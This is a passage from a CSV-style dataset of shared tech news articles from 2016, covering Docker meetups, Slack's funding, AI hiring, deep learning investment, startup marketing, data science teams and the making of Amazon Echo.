hours. Apr 19th - 21st: DevOpsDays London - London, United Kingdom We're excited to be at DevOpsDays again this year in London! Come meet the team at Table G7. Our own Docker London meetup organizer, Benjamin Wootton , will also be speaking. Apr 19th: Special Security Event at IBM with Adrian Mouat - Zurich, Switzerland Talk: Microservice Security: how to use Docker safely in Production Adrian Mouat , Chief Scientist at Container Solutions and the author of the O'Reilly book ""Using Docker,"" will give you his insights on how Docker is used as basis of all modern microservice architectures. Apr 21st: Women Who Go Workshop: Intro to Docker & containers (Part 2) - Berlin, Germany Introduction to Docker and containers (Part 2). This hands-on tutorial will give you an opportunity to dive in, and see Docker in action. You will learn about Docker basic concepts, how to run containers, create your own images, interact with the ""Docker Hub"", connect multiple containers together to form complex applications, and manage persistent storage for containers. It is divided in two parts, each spanning 4 hours. Apr 21st: Using Docker with Cloud Foundry - London, United Kingdom Docker Support is now live with Pivotal Cloud Foundry 1.6, what does this mean? This will be a mixture of talks and live hands-on demo with the usual Pizza and Drinks in between! Apr 21st: Docker Meetup at Ecole 42 - Paris, France Docker Meetup #31 with special guest Diogo Mónica , Security Lead at Docker. Apr 22nd: dotSecurity Conference - Paris, France Diogo Mónica , Security Lead at Docker will be speaking. Apr 26th - 29th: Craft 2016 - Budapest, Hungary At Craft this year, we're excited to say we have an awesome lineup of speakers! We'll have Amir Chaudhry , Diogo Mónica on ""Securing Software Distribution using Notary,"" Jérôme Petazzoni on ""Patterns to deploy and scale containerized applications in production with Docker Swarm"" plus a workshop on Wednesday, 27th of April on ""Advanced Docker concepts and container orchestration,"" and Jessie Frazelle on ""Application Sandboxes vs. Containers."" Don't forget the Docker Budapest meetup featuring Jérôme Petazzoni on ""Keeping up with the Docker Platform"" slated for 27th of April. Apr 26th: Docker Meetup at Die Mobiliar - Bern, Switzerland We are happy to announce the 7th Docker Switzerland meetup. This time we are going to Bern! The kind folks from Die Mobiliar have offered to host and sponsor the meetup. This particular meetup will be focussing on the topic of ""Docker in production."" RSVP Apr 26th: Docker Meetup at istic - Rennes, France Apr 26th: Docker Meetup at Das Labor Bochum - Bochum, Germany Join our next meetup event! Apr 27th: Refactoring an ASP.NET/IIS monolith to composable polyglot Docker-hosted mini-services at JAX DevOps Conference - London, UK Presented by Mark Rendle , Founder, CEO and Chief Developer of CloudLens. Apr 27th: Docker Meetup in Budapest - Budapest, Hungary Save the date as Docker black belt master: Jérôme Petazzoni himself will be in town! Apr 28th: Docker Meetup at Startplatz - Köln, Germany We have already secured our first talk about Docker Security (details following soon) and are looking for a second speaker currently. Feel free to suggest a speaker or your own talk. Apr 28th: Increasing Code Quality with Docker at JAX DevOps Conference - London, UK Presented by Laura Frank , Software Engineer, Codeship. Testing software is necessary, no matter the size or status of your company. Introducing Docker to your development workflow can help you write and run your testing frameworks more efficiently, so that you can always deliver your best product to your customers and there are no excuses for not writing tests anymore. You'll walk away from this talk with practical advice for using Docker to run your test frameworks more efficiently, as well as some solid knowledge of software testing principles. Asia Apr 2nd: Getting Started with Containers on Docker platform - Bangalore, India Free workshop to help people get started with the Docker Basics. Apr 2nd: Docker Birthday #3 Pune - Pune, India Join us in celebrating the Docker Project's 3rd birthday! To warmly welcome newcomers into our Docker community, we will provide Docker training to show them how they can build, ship, and run a distributed application with ease thanks to the Docker platform. Are you an advanced user? We strongly encourage Docker users of all skill levels to attend! We need a network of mentors who understand the Docker platform to answer any questions that newcomers may have. Apr 4th: Docker Birthday #3 Jakarta - Jakarta, Indonesia Join us in celebrating the Docker Project's 3rd birthday! To warmly welcome newcomers into our Docker community, we will provide Docker training to show them how they can build, ship, and run a distributed application with ease thanks to the Docker platform. Are you an advanced user? We strongly encourage Docker users of all skill levels to attend! We need a network of mentors who understand the Docker platform to answer any questions that newcomers may have. Apr 9th: Docker Meetup at Hackanoi Lab - Ha Noi, Vietnam Talk #1: Microservices with Docker Swarm and Consul - Speaker: Nguyen Sy Thanh Son , Web Team Leader - Sigma IT Solutions - Content: Just talking about Microservices and Tools (Docker Swarm, Consul ..) used to build a scalable system. And we will discuss when we should and what we need to have to build a microservices system Talk #2: Continuous Delivery with Docker - the-homeless-way - Speaker: Chu Duc Minh , Cloud Architect - VCCorp - Content: Introduction to Continuous Delivery (CD) and how to implement CD with Docker when you have no money, no server. RSVP Apr 14th: Docker Meetup at Lazada Vietnam - Thanh Pho Ho Chi Minh, Vietnam Join us for our next event. Talks include Building Minimal Images by Ivan Kirichenko . Apr 23rd: Docker Meetup at Gemini Systems - Coimbatore, India Welcome note and Members Introduction (regular routine). Docker Compose - Running your application via compose. Hands on experience with docker-compose . Q & A / Networking. Oceania Apr 19th: Docker Meetup at REA Group - Melbourne, Australia Talk Title: Docker Compose Presenter: Clem Labbe (REA Group) - Using Docker Compose to provide a flexible environment for development, test, and continuous integration. Apr 28th: Docker Meetup at Red Hat Brisbane - Brisbane, Australia The Docker engine has a number of ways you can extend its behavior through plugins. Right now, you can make Volume plugins, Network plugins and Authorization plugins - see We'll talk about some of the plugins that have been written, show some demos, and talk about how we might solve your Docker use cases using the Plugins API. Africa Apr 9th: Docker Birthday #3 Buea - Buea, Cameroon Join us in celebrating the Docker Project's 3rd birthday! To warmly welcome newcomers into our Docker community, we will provide Docker training to show them how they can build, ship, and run a distributed application with ease thanks to the Docker platform. Are you an advanced user? We strongly encourage Docker users of all skill levels to attend! We need a network of mentors who understand the Docker platform to answer any questions that newcomers may have. Learn More about Docker",en
1459547817,CONTENT SHARED,5834671664627894569,-1032019229384696495,-7620380443494030257,,,,HTML,http://techcrunch.com/2016/04/01/slack-raises-200m-at-3-8b-valuation-for-business-messaging/,Slack raises $200m at $3.8b valuation for business messaging,"Business messaging service Slack has raised $200 million at a $3.8 billion post-money valuation, the company confirms to TechCrunch. The round was led by Thrive Capital, with participation by GGV, Comcast Ventures and Slack's existing investors, including Accel, Index Ventures and Social Capital. This brings the total funding for the three-year-old company to a whopping $540 million. Slack last raised at a $2.8 billion valuation in April of last year. ""As has always been the case, we are taking this opportunity to further secure our leadership position as we continue to execute on our ambitious growth plans. This capital adds to our existing reserves and increases our ability to focus on an uncompromising long-term, strategic view."" - Stewart Butterfield, CEO and co-founder, Slack, said in a statement. Slack, which has received a lot of attention in Silicon Valley, with its promise to reduce email, has 2.7 million daily users, which is significant for an enterprise startup. The company recently received an award at our annual Crunchie's ceremony for ""fastest rising startup."" Corporate customers include NASA, LinkedIn and Spotify. We use Slack for internal communication at TechCrunch. ""We are excited to partner with Slack as it continues to re-imagine how teams work together,"" said Josh Kushner, managing partner at Thrive Capital, in a statement. ""We believe Slack will define the future of seamless communication in an increasingly complex world across platforms, teams and applications."" The San Francisco-based company has 430 employees. Featured Image: Slack",en
1459561249,CONTENT SHARED,-6814865160063205794,-1032019229384696495,6039932604224768077,,,,HTML,http://www.economist.com/news/business/21695908-silicon-valley-fights-talent-universities-struggle-hold-their,Million-dollar babies,"THAT a computer program can repeatedly beat the world champion at Go, a complex board game, is a coup for the fast-moving field of artificial intelligence (AI). Another high-stakes game, however, is taking place behind the scenes, as firms compete to hire the smartest AI experts. Technology giants, including Google, Facebook, Microsoft and Baidu, are racing to expand their AI activities. Last year they spent some $8.5 billion on research, deals and hiring, says Quid, a data firm. That was four times more than in 2010. In the past universities employed the world's best AI experts. Now tech firms are plundering departments of robotics and machine learning (where computers learn from data themselves) for the highest-flying faculty and students, luring them with big salaries similar to those fetched by professional athletes. Last year Uber, a taxi-hailing firm, recruited 40 of the 140 staff of the National Robotics Engineering Centre at Carnegie Mellon University, and set up a unit to work on self-driving cars. That drew headlines because Uber had earlier promised to fund research at the centre before deciding instead to peel off its staff. Other firms seek talent more quietly but just as doggedly. The migration to the private sector startles many academics. ""I cannot even hold onto my grad students,"" says Pedro Domingos, a professor at the University of Washington who specialises in machine learning and has himself had job offers from tech firms. ""Companies are trying to hire them away before they graduate."" Experts in machine learning are most in demand. Big tech firms use it in many activities, from basic tasks such as spam-filtering and better targeting of online advertisements, to futuristic endeavours such as self-driving cars or scanning images to identify disease. As tech giants work on features such as virtual personal-assistant technology, to help users organise their lives, or tools to make it easier to search through photographs, they rely on advances in machine learning. Tech firms' investment in this area helps to explain how a once-arcane academic gathering, the Conference on Neural Information Processing Systems, held each December in Canada, has become the Davos of AI. Participants go to learn, be seen and get courted by bosses looking for talent. Attendance has tripled since 2010, reaching 3,800 last year. No reliable statistics exist to show how many academics are joining tech companies. But indications exist. In the field of ""deep learning"", where computers draw insights from large data sets using methods similar to a human brain's neural networks, the share of papers written by authors with some corporate affiliation is up sharply (see chart). Tech firms have not always lavished such attention and resources on AI experts. The field was largely ignored and underfunded during the ""AI winter"" of the 1980s and 1990s, when fashionable approaches to AI failed to match their early promise. The present machine-learning boom began in earnest when Google started doing deals focused on AI. In 2014, for example, it bought DeepMind, the startup behind the computer's victory in Go, from researchers in London. The price was rumoured to be around $600m. Around then Facebook, which also reportedly hoped to buy DeepMind, started a lab focused on artificial intelligence and hired an academic from New York University, Yann LeCun, to run it. The firms offer academics the chance to see their ideas reach markets quickly, which many like. Private-sector jobs can also free academics from the uncertainty of securing research grants. Andrew Ng, who leads AI research for the Chinese internet giant Baidu and used to teach full-time at Stanford, says tech firms offer two especially appealing things: lots of computing power and large data sets. Both are essential for modern machine learning. All that is to the good, but the hiring spree could also impose costs. One is that universities, unable to offer competitive salaries, will be damaged if too many bright minds are either lured away permanently or distracted from the lecture hall by commitments to tech firms. Whole countries could suffer, too. Most big tech firms have their headquarters in America; places like Canada, whose universities have been at the forefront of AI development, could see little benefit if their brightest staff disappear to firms over the border, says Ajay Agrawal, a professor at the University of Toronto. Another risk is if expertise in AI is concentrated disproportionately in a few firms. Tech companies make public some of their research through open sourcing. They also promise employees that they can write papers. In practice, however, many profitable findings are not shared. Some worry that Google, the leading firm in the field, could establish something close to an intellectual monopoly. Anthony Goldbloom of Kaggle, which runs data-science competitions that have resulted in promising academics being hired by firms, compares Google's pre-eminence in AI to the concentration of talented scientists who laboured on the Manhattan Project, which produced America's atom bomb. Ready for the harvest? The threat of any single firm having too much influence over the future of AI prompted several technology bosses, including Elon Musk of Tesla, to pledge in December to spend over $1 billion on a not-for-profit initiative, OpenAI, which will make its research public. It is supposed to combine the research focus of a university with a company's real-world aspirations. It hopes to attract researchers to produce original findings and papers. Whether tech firms, rather than universities, are best placed to deliver general progress in AI is up for debate. Andrew Moore, the dean of Carnegie Mellon University's computer-science department, worries about the potential for a ""seed corn"" problem: that universities could one day lack sufficient staff to produce future crops of researchers. As bad, with fewer people doing pure academic research, sharing ideas openly or working on projects with decades-long time horizons, future breakthroughs could also be stunted. But such risks will not necessarily materialise. The extra money on offer in AI has excited new students to enter the field. And tech firms could help to do even more to develop and replace talent, for example by endowing more professorships and offering more grants to researchers. Tech firms have the cash to do so, and the motivation. In Silicon Valley it is talent, not money, that is the scarcest resource.",en
1459625771,CONTENT SHARED,-7051470020148066326,-1443636648652872475,-5498463104941657995,,,,HTML,http://www.techinsider.io/machine-learning-as-important-as-the-internet-2016-3,'Machine learning' is a revolution as big as the internet or personal computers,"Sean Gallup / Getty We're in the middle of a historic moment. It used to be the case that you had to program a computer so that it knew how to do things. Now computers can learn from experience. The breakthrough is called ""machine learning."" It's unimaginably important for understanding where technology is going, and where society is going with it. Netflix's movie recommendations, Amazon's product recommendations, Facebook's ability to spot your friends faces, dating app's matching you with potential dates - these are all early examples of machine learning. And Google's self-driving car is becoming the classic case study. ""A self-driving car is not programmed to drive itself,"" says University of Washington computer scientist Pedro Domingos, author of ""The Master Algorithm: How the Quest for the Ultimate Learning Machine Will Remake Our World."" ""Nobody actually knows how to program a car to drive,"" he says. ""We know how to drive, but we can't even explain it to ourselves. The Google car learned by driving millions of miles, and observing people driving."" That's the key: machine learning allows algorithms to learn through experience, and do things we don't know how to make programs for. Machine learning had a major public breakthrough in March, when Google made artificial intelligence history by creating an algorithm that mastered Go, the ancient Chinese game with more possible board configurations than there are atoms in the universe. Google's AlphaGo program beat Lee Sedol, perhaps the greatest human Go player alive. But Google couldn't program an algorithm to conquer Go. It had to create a sophisticated algorithm that could process 80 years' worth of publicly available Go games, and learn what good moves look like from studying them. To Domingos, machine learning is as big of a breakthrough as personal computers, the internet, or electricity itself. ""There were two stages to the information age,"" Domingos says. ""One stage is where we had to program computers, and the second stage, which is now beginning, is where computers can program themselves by looking at data."" Perhaps that's why Google's Eric Schmidt says that every big startup over the next five years will have one thing in common: machine learning .",en
1459630581,CONTENT SHARED,7828019124127586556,-1032019229384696495,6039932604224768077,,,,HTML,http://thenextweb.com/insider/2016/04/01/grow-startup-without-cmo/,How to grow your startup with no budget,"As an entrepreneur, you master a wide range of skills: You're resilient, passionate, a leader, and always focused on your company's success. The vast majority of entrepreneurs also come from a technical background, and the core team they build around them is often comprised of people with similar skills. This may often lead to the startup's marketing efforts being kept on the back burner in the initial stages of the company, and later being outsourced. However, marketing is a crucial aspect of a company and should be treated as such from the start. It defines the positioning of your company in the market, your brand, and the packaging of the product you're selling. The role of a chief marketing officer has grown dramatically over the past several years as the function of marketing evolved. Marketing isn't just about selling the product - it's about engaging customers and driving growth. Marketers are no longer simply the broadcasters of communications, but rather, they've become much more involved in the customer's journey with the product and the company. A good CMO needs to be equal parts creative and analytical. They need to think outside the box while having a deep understanding of what's going on in the market and within the company. As not all startups can afford to hire a seasoned CMO or even have a marketing budget to begin with. Instead, you as an entrepreneur should know how to grow your startup under a small or even non-existent budget and be your own CMO. Combining your entrepreneurial skills and passion with the right guidance and tools is key to avoiding mistakes and burning a lot of money on ineffective marketing. During my work with startups and entrepreneurs, I was sometimes amazed at how important decisions like company name, branding, website and the like were made with a seemingly devil-may-care attitude. Entrepreneurs would often latch onto their latest whims and get carried away with them, without considering crucial elements like target audience and fit. One of the most important things in marketing is planning and strategizing. Instead of diving directly into media buying and testing various channels, think first of your goals. Who your potential clients are, where they are located, and even which devices they are likely to use when visiting your site or trying your product are important pieces of information you need to have. Understanding who you are selling to and what you are selling does not necessarily require a marketing budget. Here are four things you can do right now to grow your startup without a CMO or budget: Use existing free resources to spread the word about your startup There are some high-quality blogs and forums with a large and relevant audience that can be your content distributor and promote your startup. Popular blogs like Producthunt , and startupli.st are ones that are being visited often by potential customers, tech industry members (including possible future investors or employees) and reporters. Promoting the launch of your startup in one of these blogs can generate massive traffic to your site and even spark interest in tech reporters who can later on cover your startup in large tech news outlets. Reach out to bloggers and reporters yourself Having a small or zero-dollar marketing budget probably means you won't be able to afford a good PR agency. Don't be tempted to work with cheap agencies that can't deliver (for reference, good PR agencies in the US charge somewhere between five and ten thousand per month), but rather do the outreach yourself. Whenever you are ready to spread the word about your company, prepare a pitch or a press release and send it to reporters who you know cover your field. Like anything in marketing, the best results are the targeted ones. Most media outlets publish their reporters' emails , and there are some great templates you can use to draft a release . Before sending, do your homework on what a reporter is interested in. Influential reporters and bloggers receive hundreds of pitches a day, so the major part of your work is to plan and create a great pitch. To make sure it's appealing and interesting, run it by your friends first to solicit feedback. Use your personal network Not all marketing and growth has to do with SEO, conferences and buying media. Your personal network is valuable and can lead to even more valuable second and third degree connections. Maintaining a strong personal network is important for any entrepreneur, as it can be tapped into from the brainstorming stage - advising with friends on aspects of the product, name, etc. - all the way through to the launch stage and future partnerships. Use A/B testing methods to increase conversion A/B testing is something that can really help you grow, without investing a lot of money. By using tools such as Optimizely and , you can maximize the potential of users who are already visiting your site. A/B testing can be tricky if not done right, as you don't want to be overwhelmed by numerous variables. Simplify the tests, and each time, check one variable or two. You will be surprised how a small change in the color of a button or the size of your header image can boost your conversion rate, sometimes by 20 percent or more. Read next: 5 ways to investigate your competitors like Sherlock Holmes Read next: New ResearchKit app uses crowdsourced body temperatures to shape future of medicine",en
1459649316,CONTENT SHARED,6987435400166905688,3829784524040647339,-7380746548036225175,,,,HTML,https://www.oreilly.com/ideas/building-a-high-throughput-data-science-machine,Building a high-throughput data science machine,"Mechanics: forces, gears, axles and dynamics, pulleys. (source: Wellcome on Wikimedia Commons ). Scaling is hard. Scaling data science is extra hard. What does it take to run a sophisticated data science organization? What are some of the things that need to be on your mind as you scale to a repeatable, high-throughput data science machine? Erik Andrejko, VP of science at The Climate Corporation , has spent a number of years focused on this problem, building and growing multi-disciplinary data science teams. In this post, he covers what he thinks is critical to continue building world-class teams for his organization. I recently sat down with Andrejko to discuss the practice of data science, the scaling of organizations, and key components and best practices of a data science project. We also talked about the must-have skills for a data scientist in 2016-and they're probably not what you think. I encourage you to watch the full interview -we cover a wide range of topics, and it's a fun conversation about what it takes to take data science to the next level. What follows is a series of key takeaways from our chat that I'd like to highlight. Science has a reproducibility problem Science has a reproducibility problem. A recent study showed that nearly 90% of studies in drug discovery programs could not be reproduced. Given the complex nature of modern data science pipelines, reproducibility is a requirement, and the ability to trust results and the processes that generated them is critical for organizations looking to build beyond simple models. As Andrejko noted, ""Supporting organizations at scale requires that you can trust the work of others, and rely on it to reuse and extend."" Andrejko and I spoke about some of the interesting aspects of how the data science process has a fractal self similarity regarding trust. Erik noted that in an exploratory data analysis process, you are building trust about the data, which gives you the confidence to use it to build models. In the clip below, we talk about what this means to a data science organization, including focusing on trust, automation and reproducibility. Andrejko will speak more on the importance of reproducibility and peer review for quantitative research during his upcoming talk at Strata + Hadoop World in San Jose , March 28-31. Good data science needs process In the meetups I help organize, I have heard a number of data scientists complain about the institution of formal processes in their organization. There is a belief in the community that processes will stifle innovation and try to ""control and measure"" data scientists. The irony of data scientists not wanting to be tracked and measured should not be missed by anyone, since they are in a privileged position to know how what is tracked can be influenced. Like it or not, scaling organizations requires addition of processes, but not all processes are bad! ""I've seen it done the wrong way-without process,"" Andrejko said, ""and it certainly was not as fast as one would hope. Especially when you solve the wrong problem."" Andrejko and I discussed the role of formal processes in data science. Though there have been a number of attempts at creating industry-standard and vendor-specific process frameworks, like CRISP-DM and SEMMA , data science does not have a dominant series of methodologies. There is no process in data science like Agile is to software engineering or Lean is to manufacturing. A good process will make you go faster, and have higher quality outcomes. In the clip below, we talk about how process supports good data science, and how it can even help catch common errors. There are many methods of integrating data scientists in an organization Where do data scientists belong in an organization? If you talk to 10 companies about how they organize their data scientists, you will get 11 different answers. The fact is that most organizations have data scientists organized for ""historical reasons."" Data scientists are wherever they happened to be at the time a data strategy was implemented, and not enough thought is given to how to empower data scientists to reach across barriers to provide access to critical data. Organizations that have one data scientist usually let them free-roam, advising on projects. That method, however rarely scales. From the analytics department, to embedded, to centers of excellence, there is no consensus on the right way to integrate data scientists into businesses. Andrejko pointed out, ""A center of excellence model provides coordination across teams, but still gives you the benefit of specialization."" Below, we discuss different approaches and what we've seen work and what doesn't. Get models into production without the wait One of the greatest challenges that organizations face is getting models into production fast enough. At Domino Data Lab , we often hear horror stories from prospects about 12- to 18-month timetables between model generation by a data science team and deployment by the engineering team. This task breakdown, between data engineers and data scientists, is one of the fundamental roadblocks for organizations trying to adopt data-informed approaches. The problem becomes even more complex when you realize the output of a model is just more data. ""Ultimately, business value comes from having [models] deployed,"" Andrejko said. ""The longer the window before deployment, the longer it takes to realize business value. And if you measure this as net present value, a larger discount will be applied."" How do organizations manage these complex pipelines and protect themselves against the perils outlined in Google's paper "" Machine Learning: The High Interest Credit Card of Technical Debt ""? Andrejko and I discussed the continuum between data engineering and data science, and how fostering collaboration between these functions can provide surprising benefits: Putting the ""science"" into data science Andrejko's talk at Strata + Hadoop World San Jose will go into more detail about how The Climate Corporation integrates best practices from scientific research into its data science work. He'll describe the benefits that teams gain from applying these best practices, as well as the challenges they're likely to encounter when adopting them in their organizations.",en
1459654591,CONTENT SHARED,-8427763028519233712,-1032019229384696495,6667035775286625555,,,,HTML,http://techcrunch.com/2016/04/02/the-gig-economy-as-a-driver-of-innovation/,The gig economy as a driver of innovation,"If you are reading this article, chances are you have taken an Uber, are familiar with Upwork and maybe even sold something on Etsy. Business models that fall under the ""gig economy"" umbrella have been proven for business-to-consumer and peer-to-peer markets because they make it possible to crowdsource products and services from huge communities of people. Large online networks can also be some of the greatest sources of innovation. Led by the enterprise and government research and development verticals, this trend is growing rapidly because of a shift in focus from single-point services to the co-creation (collaborative innovation) model. Bullish on innovation and crowdsourcing Some of the most novel case studies and applications of innovation and crowdsourcing are coming from unexpected places: large enterprises and government agencies. Driven by pressure for continued growth and tapping talent outside their workforce, large companies like Apple , IBM , GE and a host of others have launched prize challenges seeking innovative ideas, products and software solutions. Even the U.S. government is launching challenges at an unprecedented rate. A recent report by Deloitte estimated that more than $60 million in prizes was offered through the Challenge.gov platform. The annual America COMPETES progress report released by the White House Office of Science and Technology Policy reported that 17 agencies launched prize challenges in 2014 - seven of them being first-timers. This increased activity has contributed to a growing market for innovation and crowdsourcing capabilities, resulting in a recent $20 million worth of open innovation service contracts with NASA . Re-imagining early-stage innovation As the market for innovation and crowdsourcing continues to grow, the enterprise customer is searching for co-creation frameworks that can deliver real value. One such framework is the Catalyst model that I co-founded and implemented at the Department of Energy, Office of Energy Efficiency and Renewable Energy (EERE). Catalyst builds real startups with prototypes from communities of innovators. Best suited for early-stage innovation in verticals where prototyping is inexpensive, Catalyst links a community of energy entrepreneurs (using the IdeaScale platform ) to a community of developers and designers in Appirio's Topcoder platform. Catalyst delivers real value through a four-step co-creation framework: (1) ideation to find the top pain points and wish list of a specific vertical, (2) team formation anchored by a business solution addressing the pain points or wish list, (3) rapid prototyping using crowdsourced software development and (4) incubation where teams are incentivized to grow and scale. The framework has been one of the few in open innovation to successfully link ideation to incubation and has been shown to be scalable across EERE, garnering funding in two rounds from the Solar Energy Technologies Office and the Building Technologies Office. In 2015, a $2 million prize backed 36 early-stage teams with prototypes and was shown to be 2x as fast and 10x as cost-effective to comparable phase I and phase II Small Business Innovation Research grants . In addition to media coverage from non-traditional outlets like TechCrunch , the program won a host of accolades, including the 2015 International Society for Professional Innovation Management Grand Prize . Super-community manager wanted With increasing enterprise investment being made in innovation and crowdsourcing, a new workforce with new skills will be needed to deliver results from co-creation business models. In recent years we have seen the rise of the community manager , whose duties can range from growth hacking to improvement of the community. With co-creation it is necessary to have a super-community manager (manager of multiple community managers) whose concern is not only engagement, but integration . Crowdsourcing and crowd-powered tools have been described by Peter Diamandis to be an exponential technology because of the exceptional access to innovation and enablement that they provide. Now, imagine the value of the new ""gig economy"" where communities of exponential capability not only deliver unique solutions, but their collaboration has a force multiplier effect that delivers game-changing innovation.",en
1459655326,CONTENT SHARED,-993224631915984347,-1032019229384696495,6667035775286625555,,,,HTML,http://venturebeat.com/2016/04/02/deep-learning-will-be-huge-and-heres-who-will-dominate-it/,Deep learning will be huge - and here's who will dominate it,"Artificial intelligence* is developing much faster than we thought. Just last month, Google's DeepMind AI beat Lee Sedol , a legendary Go player, at his own game in a defining moment for the industry. What enabled this win is a relatively new AI technique called deep learning, which is transforming AI. Until deep learning was introduced, even the best AI systems were always highly tuned for specific problems and required many rules to operate successfully. But deep learning has changed that, causing many researchers to abandon classical AI approaches. Deep learning relies on simulating large, multilayered webs of virtual neurons, which enable a computer to learn to recognize abstract patterns (somewhat similar to the way a human brain operates). It can be used to solve any general-purpose pattern-recognition problem, which means that any activity that has access to large amounts of data can find it useful. There is a huge investment opportunity with deep learning - not only because of the technology itself but also because of how it is leveraging other technologies to become more powerful: the volumes of data available due to the proliferation of online services, improvements in storage, advancements in GPU and computing power, abundance of cloud computing, development of cheap sensors, and the rise of new data generated by the Internet of Things (IoT). As a result deep learning has opportunities to solve challenges across all types of industries. All the big software companies are investing heavily in building deep learning capabilities and incorporating it into many of their products. And these companies are not only pushing it for internal use; they are advancing the entire industry by releasing their software frameworks and libraries. Google recently announced that it is open sourcing its latest Machine Learning system, TensorFlow; Facebook is releasing , for free, the designs of a powerful new server intended to run AI software; IBM open-sourced its machine learning code, SystemML ; and Elon Musk and others founded OpenAI , a nonprofit AI research group; among many other examples. The vast internal research done by these large software institutions already benefits startups. What naturally follows is a new crop of startups that leverage AI to solve complex problems, which were unsolvable only a few years ago. What's perhaps most interesting here is that these startups are targeting almost every industry out there. The first layer is general-purpose AI platforms that get fed large amount of data and automatically discover interesting patterns such as Valley-based Ayasdi , Germany-based Blue Yonder , or Israel-based SparkBeyond . Then there are companies that sell AI-based products to enterprises. These include AI-based personalization and marketing tools such as Radius and Dynamic Yield , sales and retention prediction tools such as 6sense and Gainsight , and AI-based customer support company Wise.io . But AI startups don't stop at the enterprise. They are disrupting many traditional industries such as ground transportation ( Mobileye , Cruise ), agriculture ( Prospera , Blue River ), industrial ( Imubit ), and healthcare ( Zebra Medical , Deep Genomics , and Flatiron Health ). In some ways, deep learning is following a course similar to that of big data in its early days. At the time, being a ""big data"" company was perceived as an advantage. But in the long run, it turned out that almost every company is a big data company - as they all need to store and analyze huge amounts of data. What distinguishes good companies from the rest is the ability to extract valuable insights out of the data and act on it. Similarly, we are seeing many new startups that claim their advantage is in deep learning. But over time, I believe every company will leverage deep leaning in some shape or form. And then what will distinguish the good companies from the rest are things like domain expertise, quality of the dataset, and the ability to find the right problems to solve. At my investment firm, when we evaluate these new AI startups, we first try to understand which teams have really built top-notch expertise and are not simply relying on external APIs for their technology (Israel happens to be one of the top hubs for such talent). We're seeing a big shortage today of strong AI teams, which is why larger players are quickly acquiring startups to improve their own AI capabilities (one example is GM's recent acquisition of Cruise). In the long run, what interests us most as investors are companies that can leverage deep learning to build a data network effect. Here's what it looks like: This approach enables companies to build a unique and proprietary dataset to better train the deep learning algorithm to deliver better insights. These insights should translate to more customers willing to share their data, which will improve the quality and size of the data set, resulting in a virtuous cycle. New competitors will confront the classic chicken and egg problem: Without customer data, it will be impossible to match the deep leaning algorithm, but without a better algorithm, they will not be able to get customer data. Startups that both build top-notch AI expertise and also leverage it to build a positive data network as I've described will become extremely valuable over time. As the competition among AI startups heats up, this virtuous cycle will result in natural monopolies that lead to the creation of ominously large, powerful, artificially intelligent companies in the years ahead. * The term artificial intelligence is commonly used for what is really machine learning (ML). I decided to stick with the AI term in this post to avoid confusion but acknowledge that many of these capabilities should be defined as ML and not AI. Amit Karp is a vice president at Bessemer Venture Partners. He works out of the firm's Israel office where he focuses on investments in Israel and Europe. You can follow him on Twitter: @amitkarp .",en
1459656021,CONTENT SHARED,-3876501423599932851,-1032019229384696495,6667035775286625555,,,,HTML,http://www.businessinsider.com/the-inside-story-of-how-amazon-created-echo-2016-4,"The inside story of how Amazon created Echo, the next billion dollar business no one saw coming","AP/Jeff Chiu When Amazon executive Dave Limp first saw the pitch for the product that would become Echo in 2011, his main reaction was doubt. ""This is going to be hard,"" Limp recalls thinking. ""It foretold a magical experience. But it would require a lot of inventions."" The reaction was understandable given the lofty goals outlined in the Echo's original plan: it envisioned an intelligent, voice-controlled household appliance that could play music, read the news aloud and order groceries - all by simply letting users talk to it from anywhere in the house. Since that time, the Echo has emerged as Amazon's sleeper hit, a hot-selling gadget that's being hailed as the standard-bearer for an entirely new computing paradigm in which Amazon suddenly has an edge on rivals such as Apple and Google. But the Echo's path into consumers' homes was hardly a sure thing. The gadget was stuck in Amazon's in-house labs for years, subject to the perfectionist demands of Amazon CEO Jeff Bezos and lengthy internal debates about its market appeal. And in the wake of the high-profile failure of Amazon's smartphone, the industry rumors that circulated for years about a speaker product languishing within Amazon's labs seemed like more confirmation that the e-commerce giant lacked the chops to create a game-changing hardware device. The story of the Echo's origins, recounted by several insiders, reflects the ambitions and challenges within Amazon as it quietly set its sights on the tech industry's next big battleground. ""It was an evolution of a product that was hard,"" Limp, who is Amazon's SVP of Device, told Business Insider. ""I can't underestimate the amount of work and invention that went into this."" Upfront pain AP Photo Amazon's Bezos was a huge supporter of Echo from the get-go. But he also held the team to extremely high standards, given the unusual nature of the product the company was trying to invent. One major concern for Echo was latency, or the time it took for Alexa - the name of the talking virtual assistant that powers Echo - to respond to any query. The average latency of existing voice-recognition technology at the time was around 2.5 to 3 seconds, so the Echo team initially set the goal at 2 seconds, according to an early team member. But when the team presented its plan to Bezos, Amazon's CEO countered with a much more ambitious target. ""I appreciate the work, but you don't get to where it needs to be without a lot of pain,"" Bezos told the team in a meeting, according to one early team member. ""Let me give you the pain upfront: Your target for latency is one second."" The team was ""shellshocked"" because even companies that worked on voice recognition for decades were only able to bring latency down to 3 seconds at the time. But at the same time, Bezos' directive also motivated the team to go for what seemed like an impossible goal. ""You did such a good job convincing me that latency matters, that I want to make sure you believe in yourself,"" Bezos said, according to the team member. The key to getting latency down was to collect as much data as possible and constantly apply them to improve the product. The team did thousands of internal testing and weekly data analysis with speech scientists. Eventually, the team was able to bring latency down to below 1.5 seconds, far exceeding the speed of its competitors. ""That's just Jeff - he characterized the goal in a way that was crystal clear. It was a big, bold, top-down challenge, and I expected nothing less,"" another early Echo employee said. ""It was hard engineering, but we just did it."" Amazon's Limp acknowledged that reducing latency was a big focus, but did not recall a specific 1-second target. Business Insider Wizard of Oz testing Echo's biggest challenge was that there was no product of its kind in the market to refer to. Sure, Apple's Siri and Google's Voice Search were there, and Microsoft had the Kinect, but the concept for Echo was fundamentally different in that it had no screen for users to interact with. To succeed, the Echo and its built-in Alexa virtual assistant would need to be very responsive and conversational. It really had to feel like talking to a human-being. That's where the Wizard of Oz experiment came in. The test involved a human ""wizard"" sitting in a separate room and responding in real-time to any voice query a human testing subject would make to the Echo, often without telling the tester in advance. For example, if the subject asked Echo, ""What's the weather like in New York?"" the wizard in the other room would quickly type and send out an answer through Echo's voice. The goal was to collect information on what types of responses worked and what didn't work, as the subject would later fill out a satisfaction report on what they liked. For example, 50 people would go through the same script, but with varying response times or sentence structures. ""It was almost a psychology experiment to figure out what does it take to really make people excited?"" one of the early member of the team recounted. ""We focused maniacally on quality of speaking. It was a constant science project."" Another reason Amazon put so much focus on Alexa's quality was because it saw the voice system eventually being used in other devices, serving as a broader platform. Already, Amazon allows third party hardware makers to integrate Alexa into their own products, like Samsung's doing 